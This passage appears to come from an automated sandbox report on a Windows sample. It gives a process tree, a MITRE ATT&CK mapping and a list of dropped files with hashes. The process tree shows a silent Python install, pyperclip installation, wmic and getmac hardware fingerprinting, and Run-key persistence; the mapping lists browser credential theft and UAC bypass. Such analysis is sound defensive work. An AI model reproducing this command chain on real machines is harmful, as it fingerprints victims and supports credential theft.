                                  "C:\Windows\Temp\{D731A8B5-BB5F-48E8-862E-93B03BB28314}\.cr\python-installer.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\python-installer.exe" -burn.filehandle.attached=580 -burn.filehandle.self=584 /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0
                                  4⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Adds Run key to start application
                                  • System Location Discovery: System Language Discovery
                                  • Modifies registry class
                                  PID:5908
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "pip install pyperclip"
                                3⤵
                                  PID:5068
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"
                                  3⤵
                                    PID:4712
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic PATH Win32_VideoController GET Description,PNPDeviceID
                                      4⤵
                                        PID:5856
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /d /s /c "wmic memorychip get serialnumber"
                                      3⤵
                                        PID:3716
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic memorychip get serialnumber
                                          4⤵
                                            PID:3284
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
                                          3⤵
                                            PID:4568
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic csproduct get uuid
                                              4⤵
                                                PID:3436
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
                                              3⤵
                                                PID:1832
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic cpu get processorid
                                                  4⤵
                                                    PID:1412
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /d /s /c "getmac /NH"
                                                  3⤵
                                                    PID:672
                                                    • C:\Windows\System32\getmac.exe
                                                      getmac /NH
                                                      4⤵
                                                        PID:4832
                                                • C:\Windows\system32\msiexec.exe
                                                  C:\Windows\system32\msiexec.exe /V
                                                  1⤵
                                                  • Badlisted process makes network request
                                                  • Enumerates connected drives
                                                  • Drops file in Windows directory
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:5076
                                                • C:\Users\Admin\AppData\Local\Package Cache\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}\python-3.12.6-amd64.exe
                                                  "C:\Users\Admin\AppData\Local\Package Cache\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}\python-3.12.6-amd64.exe" /burn.runonce
                                                  1⤵
                                                  • Executes dropped EXE
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2956
                                                  • C:\Users\Admin\AppData\Local\Package Cache\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}\python-3.12.6-amd64.exe
                                                    "C:\Users\Admin\AppData\Local\Package Cache\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}\python-3.12.6-amd64.exe" /quiet /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Python 3.12.6 (64-bit)_20260706090033.log" InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0
                                                    2⤵
                                                    • Executes dropped EXE
                                                    • System Location Discovery: System Language Discovery
                                                    PID:2544
                                                    • C:\Users\Admin\AppData\Local\Package Cache\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}\python-3.12.6-amd64.exe
                                                      "C:\Users\Admin\AppData\Local\Package Cache\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}\python-3.12.6-amd64.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Package Cache\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}\python-3.12.6-amd64.exe" -burn.filehandle.attached=556 -burn.filehandle.self=576 /quiet /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Python 3.12.6 (64-bit)_20260706090033.log" InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0
                                                      3⤵
                                                      • Executes dropped EXE
                                                      • Loads dropped DLL
                                                      • Adds Run key to start application
                                                      • System Location Discovery: System Language Discovery
                                                      • Modifies registry class
                                                      PID:5172
                                                • C:\Windows\system32\sihost.exe
                                                  sihost.exe
                                                  1⤵
                                                  • Suspicious use of FindShellTrayWindow
                                                  PID:2948
                                                  • C:\Windows\explorer.exe
                                                    explorer.exe /LOADSAVEDWINDOWS
                                                    2⤵
                                                    • Boot or Logon Autostart Execution: Active Setup
                                                    • Enumerates connected drives
                                                    • Checks SCSI registry key(s)
                                                    • Modifies Internet Explorer settings
                                                    • Modifies registry class
                                                    • Suspicious use of FindShellTrayWindow
                                                    • Suspicious use of SendNotifyMessage
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:2092
                                                • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                  "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                  1⤵
                                                  • Modifies registry class
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:3548
                                                • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                  1⤵
                                                  • Modifies registry class
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:2712

                                                Network

                                                      MITRE ATT&CK Enterprise v16

                                                      Reconnaissance

                                                      Resource Development

                                                      Initial Access

                                                      Execution

                                                      Command and Scripting Interpreter

                                                      1
                                                      T1059

                                                      PowerShell

                                                      1
                                                      T1059.001

                                                      Persistence

                                                      Boot or Logon Autostart Execution

                                                      2
                                                      T1547

                                                      Active Setup

                                                      1
                                                      T1547.014

                                                      Registry Run Keys / Startup Folder

                                                      1
                                                      T1547.001

                                                      Privilege Escalation

                                                      Abuse Elevation Control Mechanism

                                                      1
                                                      T1548

                                                      Bypass User Account Control

                                                      1
                                                      T1548.002

                                                      Boot or Logon Autostart Execution

                                                      2
                                                      T1547

                                                      Active Setup

                                                      1
                                                      T1547.014

                                                      Registry Run Keys / Startup Folder

                                                      1
                                                      T1547.001

                                                      Defense Evasion

                                                      Abuse Elevation Control Mechanism

                                                      1
                                                      T1548

                                                      Bypass User Account Control

                                                      1
                                                      T1548.002

                                                      Impair Defenses

                                                      1
                                                      T1562

                                                      Disable or Modify Tools

                                                      1
                                                      T1562.001

                                                      Modify Registry

                                                      4
                                                      T1112

                                                      Credential Access

                                                      Credentials from Password Stores

                                                      1
                                                      T1555

                                                      Credentials from Web Browsers

                                                      1
                                                      T1555.003

                                                      Unsecured Credentials

                                                      1
                                                      T1552

                                                      Credentials In Files

                                                      1
                                                      T1552.001

                                                      Discovery

                                                      Peripheral Device Discovery

                                                      2
                                                      T1120

                                                      Process Discovery

                                                      1
                                                      T1057

                                                      Query Registry

                                                      4
                                                      T1012

                                                      System Information Discovery

                                                      3
                                                      T1082

                                                      System Location Discovery

                                                      1
                                                      T1614

                                                      System Language Discovery

                                                      1
                                                      T1614.001

                                                      Lateral Movement

                                                      Collection

                                                      Data from Local System

                                                      1
                                                      T1005

                                                      Command and Control

                                                      Exfiltration

                                                      Impact

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      debug.log
                                                      • Path C:\ProgramData\Steam\Launcher\F9q9Pb6hi4Xw\EN-Mgcnqwqb\debug.log
                                                      • Size 1KB
                                                      • SHA256 e53573f3a190640dfec25fce0a0563ae255101def046ef12c0242d1eb865039f
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      Update.vbs
                                                      • Path C:\ProgramData\Update.vbs
                                                      • Size 170B
                                                      • SHA256 ff1b095eb6f384daca3fe79f33896c364546ae11b02993f8aa820128fe4d0380
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      StartupProfileData-NonInteractive
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 1KB
                                                      • SHA256 3674b90c1caf1df47ef6cdfcff99b7987586cab16fe77bbe8318ca09a0cd9a77
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      StartupProfileData-NonInteractive
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 1KB
                                                      • SHA256 a5b8718fbc1d0252ffe05c3045b601a8fde22d3ea8a72c616a8bde60961145ff
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      StartupProfileData-NonInteractive
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 1KB
                                                      • SHA256 7e8b5b0f0ac78ec0db3de207b7f01662a41413991558608ecb00037f7de35e24
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      StartupProfileData-NonInteractive
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 1KB
                                                      • SHA256 ccf66439e562f1b748971f8db03b7b877088c3cf3b4fd4a51892605d1d7b9cd9
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      StartupProfileData-NonInteractive
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 1KB
                                                      • SHA256 51e1e80c8ea4a8c8ed9f6c3ad242ab62906a347aa9388c020d25f31797461524
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      StartupProfileData-NonInteractive
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 1KB
                                                      • SHA256 652ada33a2158863b9270fa595f587e34143217202e4bf7d816e6ba01809577f
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      StartupProfileData-NonInteractive
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 1KB
                                                      • SHA256 b3fe43a1fa0d4e37373097bfa4c1938efdee32b56eca3857ec6d802df644ac11
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      StartupProfileData-NonInteractive
                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                      • Size 1KB
                                                      • SHA256 bb576ec6df1a0bc1d5969a2603ee6a949e3c37fe355ebe2845816ec90ca3e351
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      lib_JustForMe
                                                      • Path C:\Users\Admin\AppData\Local\Package Cache\.unverified\lib_JustForMe
                                                      • Size 7.1MB
                                                      • SHA256 63032d6386c94e83a3b7b7b9eefc23493f976bd435a10668aa263d1ca1cb22e1
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      tcltk_JustForMe
                                                      • Path C:\Users\Admin\AppData\Local\Package Cache\.unverified\tcltk_JustForMe
                                                      • Size 3.4MB
                                                      • SHA256 2a24729e58bce7c2abde7225dc2de32539b4c4ef3609b53b54f643955d01c4b0
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      dev.msi
                                                      • Path C:\Users\Admin\AppData\Local\Package Cache\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}v3.12.6150.0\dev.msi
                                                      • Size 384KB
                                                      • SHA256 04f38bdd910eabe114dde5e321cdcbf831c6373da9d27d791b96e09cd96f5417
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      exe.msi
                                                      • Path C:\Users\Admin\AppData\Local\Package Cache\{537B2AF5-504B-4303-99CB-FDE56F47AA51}v3.12.6150.0\exe.msi
                                                      • Size 724KB
                                                      • SHA256 9f3fc998d3ef429818a8047a43aad89f2d88c190385ba5ac57124132acda9eab
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      core.msi
                                                      • Path C:\Users\Admin\AppData\Local\Package Cache\{901B913C-FA63-48D2-9842-7D7676739378}v3.12.6150.0\core.msi
                                                      • Size 1.9MB
                                                      • SHA256 675c023e78eaed980638a969feaaa07c52a5a604d89e81434e6c462f17eebc12
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      launcher.msi
                                                      • Path C:\Users\Admin\AppData\Local\Package Cache\{FE223D83-99B9-41D5-99FC-FA3995D8F82D}v3.12.6150.0\launcher.msi
                                                      • Size 540KB
                                                      • SHA256 154af6e113878084ad1405e0e5837c74ac2855046aeaeb7866c35316c13121e4
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      prep_Activatable Class_Hermes_perf.cache
                                                      • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                                      • Size 607B
                                                      • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      34byfj3n.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\34byfj3n\34byfj3n.dll
                                                      • Size 3KB
                                                      • SHA256 c263ff25aae4991ff27546c8d0dd948d147aee6d2bf1126604f53d963f8c7a4f
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      KJS9PRBJcI.ps1
                                                      • Path C:\Users\Admin\AppData\Local\Temp\KJS9PRBJcI.ps1
                                                      • Size 380B
                                                      • SHA256 027703af742d779f4dcde399ac49a3334f1b9e51b199215203e1f4b5e3251fe5
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      Python 3.12.6 (64-bit)_20260706090033.log
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Python 3.12.6 (64-bit)_20260706090033.log
                                                      • Size 73KB
                                                      • SHA256 2ead159a6b15b33c242b482a173df345ccab29313928ed44f3449350c6a0160a
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      Python 3.12.6 (64-bit)_20260706090033_000_core_JustForMe.log
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Python 3.12.6 (64-bit)_20260706090033_000_core_JustForMe.log
                                                      • Size 3KB
                                                      • SHA256 59fac2b1554e348ae439f7cc9410fef007a9fb3166f76b80be70a36489d8bba8
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      RESCC92.tmp
                                                      • Path C:\Users\Admin\AppData\Local\Temp\RESCC92.tmp
                                                      • Size 1KB
                                                      • SHA256 2b65dfffc4318e84fa04446ee4ed403ff276d10eda9b9775c598768233d7df27
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      RESEB07.tmp
                                                      • Path C:\Users\Admin\AppData\Local\Temp\RESEB07.tmp
                                                      • Size 1KB
                                                      • SHA256 8e146208b99f10ac15194a387695fa5fcd515e59760ea69a94fa276399fe8afd
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      __PSScriptPolicyTest_0vcieyp1.y3w.ps1
                                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0vcieyp1.y3w.ps1
                                                      • Size 60B
                                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      binding.gyp
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\binding.gyp
                                                      • Size 1KB
                                                      • SHA256 82c0fffccc54ef10231be8c7e190feb8feea44efc01b4ecfe12e4d8a0ecfb20d
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      node_sqlite3.node
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\Release\node_sqlite3.node
                                                      • Size 1.8MB
                                                      • SHA256 f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      common-sqlite.gypi
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\common-sqlite.gypi
                                                      • Size 1KB
                                                      • SHA256 4d65f2899fb54955218f28ec358a2cad2c2074a7b43f862933c6a35e69ae0632
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      extract.js
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\extract.js
                                                      • Size 224B
                                                      • SHA256 5be353d29c0fabea29cfd34448c196da9506009c0b20fde55e01d4191941dd74
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      sqlite-autoconf-3440200.tar.gz
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\sqlite-autoconf-3440200.tar.gz
                                                      • Size 3.1MB
                                                      • SHA256 1c6719a148bc41cf0f2bbbe3926d7ce3f5ca09d878f1246fcc20767b175bb407
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      sqlite3.gyp
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\sqlite3.gyp
                                                      • Size 2KB
                                                      • SHA256 8793f62b1133892ba376d18a15f552ef12b1e016f7e5df32ffb7279b760c11bd
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      sqlite3-binding.js
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3-binding.js
                                                      • Size 59B
                                                      • SHA256 762c7a74d7f92860a3873487b68e89f654a21d2aaeae9524eab5de9c65e66a9c
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      sqlite3.d.ts
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3.d.ts
                                                      • Size 6KB
                                                      • SHA256 a39db87a3a3aa954ac3f6553b9fbfc642eb22bef7586cc1f0559e676aa073fa8
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      sqlite3.js
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3.js
                                                      • Size 6KB
                                                      • SHA256 8d6b400ae7f69a80d0cdd37a968d7b9a913661fa53475e5b8de49dda21684973
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      trace.js
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\trace.js
                                                      • Size 1KB
                                                      • SHA256 d06caec6136120c6fb7ee3681b1ca949e8b634e747ea8d3080c90f35aeb7728f
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      package.json
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\package.json
                                                      • Size 2KB
                                                      • SHA256 c782c19485b0026e209076a236484a62885cb3a0828322a2936043230ed1ec41
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      async.h
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\async.h
                                                      • Size 1KB
                                                      • SHA256 cce55c56b41cb493ebd43b232ff8ffc9f5a180f5bab2d10372eca6780eb105f6
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      backup.cc
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\backup.cc
                                                      • Size 13KB
                                                      • SHA256 960e50580d2f2e668ee79b0c2ef99eaf006bc9178f438c4bb4e278f80f3d8960
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      backup.h
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\backup.h
                                                      • Size 6KB
                                                      • SHA256 556ba9af78010f41bc6b5b806743dc728bc181934bf8a7c6e5d606f9b8c7a2e9
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      database.cc
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\database.cc
                                                      • Size 21KB
                                                      • SHA256 40ea909433a35a95a8463c49231ddca040717681fc96ee3ba6f10840429b4ad6
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      database.h
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\database.h
                                                      • Size 5KB
                                                      • SHA256 8521f458b206ed8f9bf79e2bd869da0a35054b4be44d6ea8c371db207eccb283
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      gcc-preinclude.h
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\gcc-preinclude.h
                                                      • Size 861B
                                                      • SHA256 9d4264bb1dcbef8d927bb3a1809a01b0b89d726c217cee99ea9ccfdc7d456b6f
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      macros.h
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\macros.h
                                                      • Size 10KB
                                                      • SHA256 c25be1861bd8e8457300b218f5fa0bba734f9d1f92b47d3b6ab8ee7c1862ccbe
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      node_sqlite3.cc
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\node_sqlite3.cc
                                                      • Size 5KB
                                                      • SHA256 e80fae190ace1a5153a397ae9fe55d6d28651471fb7bebf9bbb5528095d70f44
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      statement.cc
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\statement.cc
                                                      • Size 28KB
                                                      • SHA256 2fe8c826256cb1b96e26c74aeab465a329a307e7e1107ba296d059a07cc0f948
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      statement.h
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\statement.h
                                                      • Size 6KB
                                                      • SHA256 605633ba0fb1922c16aa5fbfffed52a097f29bf31cee7190d810c24c02de515b
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      threading.h
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\threading.h
                                                      • Size 388B
                                                      • SHA256 e0ab4f798bccb877548b0ab0f3d98c051b36cde240fdf424c70ace7daf0ffd36
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      ptgjewiu.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\ptgjewiu\ptgjewiu.dll
                                                      • Size 3KB
                                                      • SHA256 01bc9e995266142c16866c8038ae77f1a65c55fa9a7f9f7c44bed506687074ab
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      python-installer.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\python-installer.exe
                                                      • Size 25.3MB
                                                      • SHA256 5914748e6580e70bedeb7c537a0832b3071de9e09a2e4e7e3d28060616045e0a
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      PythonBA.dll
                                                      • Path C:\Windows\Temp\{26166EAD-9157-4CB8-A0B0-57123D46FE41}\.ba\PythonBA.dll
                                                      • Size 675KB
                                                      • SHA256 edc6db3712eb4e1cd6988bc7b42c467ac6901148f3ee4bdfb286eff26efbfd43
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      SideBar.png
                                                      • Path C:\Windows\Temp\{26166EAD-9157-4CB8-A0B0-57123D46FE41}\.ba\SideBar.png
                                                      • Size 50KB
                                                      • SHA256 79434bd1368f47f08acf6db66638531d386bf15166d78d9bfea4da164c079067
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      pip_JustForMe
                                                      • Path C:\Windows\Temp\{26166EAD-9157-4CB8-A0B0-57123D46FE41}\pip_JustForMe
                                                      • Size 268KB
                                                      • SHA256 2a1f085a0ad75d5b332fb0fe9e1a40146c311e8e524e898a09ca40157619fa80
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      python-installer.exe
                                                      • Path C:\Windows\Temp\{D731A8B5-BB5F-48E8-862E-93B03BB28314}\.cr\python-installer.exe
                                                      • Size 858KB
                                                      • SHA256 1dcf770dc47264f7495a559f786a4428f3a97f9d81e4c466ec9a5636f5a1be6d
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      34byfj3n.cmdline
                                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\34byfj3n\34byfj3n.cmdline
                                                      • Size 369B
                                                      • SHA256 33a658c60173eabe362674be05f43300cf34b3a00c6dd4a2fc8e675a548468a6
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      CSC5F79EB5709040D983C6224946E997F0.TMP
                                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\34byfj3n\CSC5F79EB5709040D983C6224946E997F0.TMP
                                                      • Size 652B
                                                      • SHA256 eb07ce8fd6f4ccb7fcc12bc7c47a79350b186d6b6cbd61958d93ed19aa07d9f5
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      CSCCB0148ACCF43458190E829FB3DC188B9.TMP
                                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\ptgjewiu\CSCCB0148ACCF43458190E829FB3DC188B9.TMP
                                                      • Size 652B
                                                      • SHA256 6aa38b2f93192d89d1cee2a1af189a4369a17b11d21f28b1c27e14e4259d5f73
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      ptgjewiu.0.cs
                                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\ptgjewiu\ptgjewiu.0.cs
                                                      • Size 312B
                                                      • SHA256 295ca195631c485c876e7c468ddcbb3fe7cd219d3e5005a2441be2de54e62ac8
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      ptgjewiu.cmdline
                                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\ptgjewiu\ptgjewiu.cmdline
                                                      • Size 369B
                                                      • SHA256 b4fd588d4003c37608e6a4379918bbc5b5d063acb7e1f22193fbf78962c157c0
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      memory/1260-102-0x00000185F9360000-0x00000185F93B0000-memory.dmp
                                                      Download

                                                      memory/2092-634-0x000000000F100000-0x000000000F97B000-memory.dmp
                                                      Download

                                                      memory/2544-443-0x0000000000260000-0x00000000002E9000-memory.dmp
                                                      Download

                                                      memory/2716-169-0x000001219DD20000-0x000001219DD28000-memory.dmp
                                                      Download

                                                      memory/3148-92-0x00000219B0600000-0x00000219B0FA4000-memory.dmp
                                                      Download

                                                      memory/3548-469-0x0000022F93E30000-0x0000022F93F30000-memory.dmp
                                                      Download

                                                      memory/3548-454-0x0000022F801E0000-0x0000022F802E0000-memory.dmp
                                                      Download

                                                      memory/3548-455-0x0000022F801E0000-0x0000022F802E0000-memory.dmp
                                                      Download

                                                      memory/3548-468-0x0000022F839F0000-0x0000022F83A10000-memory.dmp
                                                      Download

                                                      memory/3548-493-0x0000022F83C50000-0x0000022F83C70000-memory.dmp
                                                      Download

